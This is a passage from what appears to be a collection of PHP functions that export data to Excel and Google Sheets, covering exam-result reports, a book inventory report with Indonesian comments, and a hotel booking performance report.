Name\");\n $detailWorksheet->getStyle('B2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('B2')->setAutoSize(true);\n $detailWorksheet->setCellValue('C2', \"Group\");\n $detailWorksheet->getStyle('C2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('C2')->setAutoSize(true);\n $detailWorksheet->setCellValue('D2', \"Assessment Date/Time\");\n $detailWorksheet->getStyle('D2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('D2')->setAutoSize(true);\n $detailWorksheet->setCellValue('E2', \"Assessor\");\n $detailWorksheet->getStyle('E2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('E2')->setAutoSize(true);\n\n //results\n $k = 5;\n // get all criteria labels\n foreach ($exam->exam_instance_items as $question) {\n if ($question->heading != '1') {\n // the question label\n $label = $question->label;\n if ($question->exclude_from_total == '1') {\n $label .= '(Formative)';\n }\n $detailWorksheet->setCellValue($alphabetArr[$k] . '2', $label);\n $detailWorksheet->getStyle($alphabetArr[$k] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k])->setAutoSize(true);\n\n // the value\n $detailWorksheet->setCellValue($alphabetArr[$k + 1] . '2', 'Value');\n $detailWorksheet->getStyle($alphabetArr[$k + 1] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k + 1])->setAutoSize(true);\n\n // any comments\n if ($question->no_comment != '1') {\n $detailWorksheet->setCellValue($alphabetArr[$k + 2] . '2', 'Comment');\n $detailWorksheet->getStyle($alphabetArr[$k + 2] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k + 2])->setAutoSize(true);\n $k += 3;\n } else {\n $k += 2;\n }\n }\n }\n\n // write out the results\n $currentrow = 3;\n foreach ($exam->student_exam_submissions as $student_exam_submission) {\n $detailWorksheet->setCellValue('A' . $currentrow, $student_exam_submission->student->studentid);\n $detailWorksheet->setCellValue('B' . $currentrow, $student_exam_submission->student->fname . ' ' . $student_exam_submission->student->lname);\n $detailWorksheet->setCellValue('C' . $currentrow, Group::find($student_exam_submission->exam_instance->students->where('id', $student_exam_submission->student->id)->first()->pivot->group_id)->code);\n $detailWorksheet->setCellValue('D' . $currentrow, date_format($student_exam_submission->created_at, 'd/m/Y H:i:s A'));\n $detailWorksheet->setCellValue('E' . $currentrow, $student_exam_submission->examiner->name);\n $currentcolumn = 5;\n\n foreach ($exam->exam_instance_items as $submission_instance_item) {\n if ($submission_instance_item->heading != '1') {\n // dd($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem);\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem) {\n $label = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem->label;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $label);\n $currentcolumn++;\n $value = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem->value;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $value);\n $currentcolumn++;\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->item->no_comment != '1') {\n $comment = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->comments;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $comment);\n $currentcolumn++;\n }\n } else {\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), '(not shown)');\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->item->no_comment != '1') {\n $currentcolumn += 3;\n } else {\n $currentcolumn += 2;\n }\n }\n }\n\n }\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . $currentrow, $student_exam_submission->comments);\n $currentrow++;\n }\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . '2', \"Final comment\");\n $detailWorksheet->getStyle($alphabetArr[$currentcolumn] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$currentcolumn] . '2')->setAutoSize(true);\n\n\n ///////////////////////////////////////////////////////////////\n //\n ///////////////////////////////////////////////////////////////\n $quantitativeWorksheet = new Worksheet($phpspreadsheetObj, 'Quantitative item analysis');\n // $phpexcelObj->createSheet();\n $phpspreadsheetObj->addSheet($quantitativeWorksheet, 2);\n\n // set labels\n\n $quantitativeWorksheet->setCellValue('A1', \"Quantitative item analysis for: {$exam->name} {$exam->start_datetime}, n=\" . $stats['overall']['n']);\n $quantitativeWorksheet->getStyle('A1')->getFont()->setSize(16);\n//\n $questionscount = 0;\n $questionsArr = array();\n $k = 3;\n\n //////////////////////////////////////////////////////////\n // the quantitative data for the questions...\n //////////////////////////////////////////////////////////\n//\n foreach ($exam->exam_instance_items as $question) {\n if ($question->heading != '1') {\n// //set all criteria labels\n $label = $question->label;\n if ($question->exclude_from_total == '1') {\n $label .= '(Formative)';\n }\n $quantitativeWorksheet->setCellValue(\"A$k\", $label);\n\n $currentColumn = 1;\n // get total answers\n $n_responses = Student_exam_submission_item::where('exam_instance_items_id', '=', $question->id)->get()->count();\n foreach ($question->items as $item) {\n $n_marked = 0;\n $n_marked = Student_exam_submission_item::where('selected_exam_instance_items_items_id', '=', $item->id)->get()->count();\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn]}{$k}\", \"n marked {$item->label}\");\n $quantitativeWorksheet->getStyle(\"{$alphabetArr[$currentColumn]}{$k}\")->getFont()->setBold(true);\n $quantitativeWorksheet->getColumnDimension(\"{$alphabetArr[$currentColumn]}\")->setAutoSize(true);\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn + 1]}{$k}\", \"% marked {$item->label}\");\n $quantitativeWorksheet->getStyle(\"{$alphabetArr[$currentColumn + 1]}{$k}\")->getFont()->setBold(true);\n $quantitativeWorksheet->getColumnDimension(\"{$alphabetArr[$currentColumn + 1]}\")->setAutoSize(true);\n // data\n //n\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn]}\" . ($k + 1), $n_marked);\n //%\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn+1]}\" . ($k + 1), ($n_marked / $n_responses) * 100);\n $currentColumn += 2;\n }\n $k += 2;\n }\n }\n $quantitativeWorksheet->getColumnDimension(\"A\")->setAutoSize(true);\n\n //////////////////////////////////////////\n // Comments worksheet\n /////////////////////////////////////////\n\n $overallCommentsWorksheet = new Worksheet($phpspreadsheetObj, 'Comments for items');\n $phpspreadsheetObj->addSheet($overallCommentsWorksheet, 3);\n\n $overallCommentsWorksheet->setCellValue('A1', \"Comments for items: {$exam->name} {$exam->start_datetime}, n=\" . $stats['overall']['n']);\n $overallCommentsWorksheet->getStyle('A1')->getFont()->setSize(16);\n\n $overallCommentsWorksheet->setCellValue('B2', \"Comments\");\n $overallCommentsWorksheet->getStyle(\"B2\")->getFont()->setBold(true);\n $overallCommentsWorksheet->setCellValue('A2', \"Item\");\n $overallCommentsWorksheet->getStyle(\"A2\")->getFont()->setBold(true);\n\n $k = 3;\n foreach ($exam->exam_instance_items as $question) {\n if (($question->heading != '1') && ($question->no_comment != '1')) {\n $overallCommentsWorksheet->setCellValue('A' . $k, \"{$question->label}\");\n $responses = Student_exam_submission_item::where('exam_instance_items_id', '=', $question->id)->get();\n $k++;\n foreach ($responses as $response) {\n if (strlen($response->comments) > 0) {\n $overallCommentsWorksheet->setCellValue('B' . $k, \"{$response->comments}\");\n $k++;\n }\n }\n }\n }\n\n $overallCommentsWorksheet->getColumnDimension(\"A\")->setAutoSize(true);\n $overallCommentsWorksheet->getColumnDimension(\"B\")->setAutoSize(true);\n\n // set active sheet to the first\n $phpspreadsheetObj->setActiveSheetIndex(0);\n\n $writer = new Xlsx($phpspreadsheetObj);\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header(\"Content-Disposition: attachment;filename=\\\"Report for {$exam->name}.xlsx\\\"\");\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n }", "public function exportExcelAction()\n {\n $fileName = 'coursedoc.xls';\n $content = $this->getLayout()->createBlock('bs_coursedoc/adminhtml_coursedoc_grid')\n ->getExcelFile();\n $this->_prepareDownloadResponse($fileName, $content);\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "function sheetSetUp(){\n $client = getClient();\n\n //running a check to see if the file exist on google drive or not\n if (!file_exists('info')){\n\n $service = new Google_Service_Sheets($client);\n\n } else{\n\n echo' Already exist! Please contact your Admin';\n }\n\n\n $spreadsheet = new Google_Service_Sheets_Spreadsheet();\n $name = new Google_Service_Sheets_SpreadsheetProperties();\n\n $title = 'Info';\n $name->setTitle($title);\n $spreadsheet->setProperties($name);\n\n\n\n $sheet = new Google_Service_Sheets_Sheet();\n $grid_data = new Google_Service_Sheets_GridData();\n\n $cells = [];\n\n //this is where the values are coming from\n $info_arr = getTables();\n\n //this works now from our database\n foreach($info_arr as $key => $datatables){\n foreach($datatables as $dt) {\n $row_data = new Google_Service_Sheets_RowData();\n $cell_data = new Google_Service_Sheets_CellData();\n $extend_value = new Google_Service_Sheets_ExtendedValue();\n\n\n $extend_value->setStringValue($dt);\n $cell_data->setUserEnteredValue($extend_value);\n array_push($cells, $cell_data);\n $row_data->setValues($cells);\n $grid_data->setRowData([$row_data]);\n $sheet->setData($grid_data);\n };\n };\n\n //sets the sheet with the info\n $spreadsheet->setSheets([$sheet]);\n //creates the spreadsheet with the info in it\n $service->spreadsheets->create($spreadsheet);\n\n}", "public function getHeading(): string;", "function hotels_tops(){\r\n $periode = $this->input->post('periode_Report');\r\n $getDate = explode(\" - \", $periode);\r\n $from_date = $getDate[0];\r\n $to_date = $getDate[1];\r\n $reportBy = $this->input->post('ReportBy');\r\n $hotel = $this->input->post('list_hotels');\r\n $hotels = '' ;\r\n \r\n if(!empty($hotel)){\r\n $hotels = $hotel ;\r\n }\r\n $reportHotels['hotels'] = $this->report_model->hotel_top($from_date, $to_date, $this->config->item('not_agents','agents'), $hotels);\r\n $reportHotels['hotels']['detail-agent'] = $this->report_model->HotelsBookingAgent($from_date, $to_date, $hotels, $this->config->item('not_agents','agents'));\r\n \r\n //echo $this->db->last_query();\r\n //echo '<pre>',print_r($reportHotels['hotels']);die();\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle($reportBy.' perfomance');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', $reportBy.'perfomance');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n \r\n \r\n \r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$from_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A3:C3');\r\n $this->excel->getActiveSheet()->getStyle('A3:C3')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$to_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A4:C4');\r\n $this->excel->getActiveSheet()->getStyle('A4:C4')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A5', 'Hotel : '.$reportHotels['hotels'][0]['hotel']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A5:C5');\r\n $this->excel->getActiveSheet()->getStyle('A5:C5')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A6', 'City : '.$reportHotels['hotels'][0]['city']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A6:C6');\r\n $this->excel->getActiveSheet()->getStyle('A6:C6')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A7', 'Country : '.$reportHotels['hotels'][0]['country']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A7:C7');\r\n $this->excel->getActiveSheet()->getStyle('A7:C7')->getFont()->setBold(true);\r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'MG User ID', 'Agent Code', 'Agent Name', 'Check In', 'Check Out', 'Room', 'Night', 'Room Night', 'Point Promo', 'Jumlah Point') ;\r\n \r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 9, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n }\r\n \r\n //freeze row title\r\n $this->excel->getActiveSheet()->freezePane('A10');\r\n \r\n \r\n $no=1;\r\n $startNum = 10;\r\n //$startDetail = 8 ;\r\n //$startDetailUser = 11 ;\r\n foreach($reportHotels['hotels']['detail-agent'] as $row){\r\n $arrItem = array($no, $row['mg_user_id'],$row['kode_agent'], $row['AgentName'], $row['fromdate'], $row['todate'], $row['room'], $row['night'], $row['roomnight'], $row['point'],$row['point_promo']);\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $index = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n \r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$index]);\r\n $index++;\r\n \r\n // make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n }\r\n $startNum++;\r\n $no++;\r\n }\r\n \r\n \r\n //foreach ($reportHotels['hotels'] as $row) { \r\n // $arrItem = array($no, $row['hotel'],$row['city'], $row['country'], $row['jumlah']);\r\n // $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n //\r\n ////make color\r\n //$this->excel->getActiveSheet()->getStyle(\"A\".$startNum.\":I\".$startNum)->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => 'e5dcdc'))));\r\n // \r\n // $i = 0;\r\n // foreach($arrCellsItem as $cellsItem){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n // $i++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n // }\r\n // \r\n // $startNum = $startNum + 2;\r\n // \r\n // //set detail transaksi\r\n // /*Untuk title tulisan detail transaksi*/\r\n // $arrFieldDetails = array('List Agent') ;\r\n // \r\n // $arrCellsTitleDetails = $this->excel->setValueHorizontal($arrFieldDetails, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // \r\n // $d = 0 ;\r\n // foreach($arrCellsTitleDetails as $cellsDetails){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetails, $arrFieldDetails[$d]);\r\n // $d++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetails)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // \r\n // }\r\n // //$startDetail = $startNum + 1;\r\n // $startDetail = $startNum;\r\n // /*End Untuk title tulisan detail transaksi*/\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldDetailsHeader = array('Kode Agent', 'Agent Name', 'Phone Agent', 'Hotel', 'Check Out') ;\r\n // $arrCellsTitleDetailsHeader = $this->excel->setValueHorizontal($arrFieldDetailsHeader, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $e = 0 ;\r\n // foreach($arrCellsTitleDetailsHeader as $cellsDetailsheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetailsheader, $arrFieldDetailsHeader[$e]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetailsheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$startDetail.':I'.$startDetail)->getFont()->setBold(true);\r\n // \r\n // $e++; \r\n // }\r\n // $startDetail = $startNum + 1;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // //Untuk loop detail transaksi user ;\r\n // \r\n // $setmulaiDetailsBooking = $startDetail;\r\n // //set isi detail booking transaksi\r\n // foreach($row['detail-agent'] as $rowsDetails){\r\n // \r\n // \r\n // $arrItemDetailsBookingTransaksi = 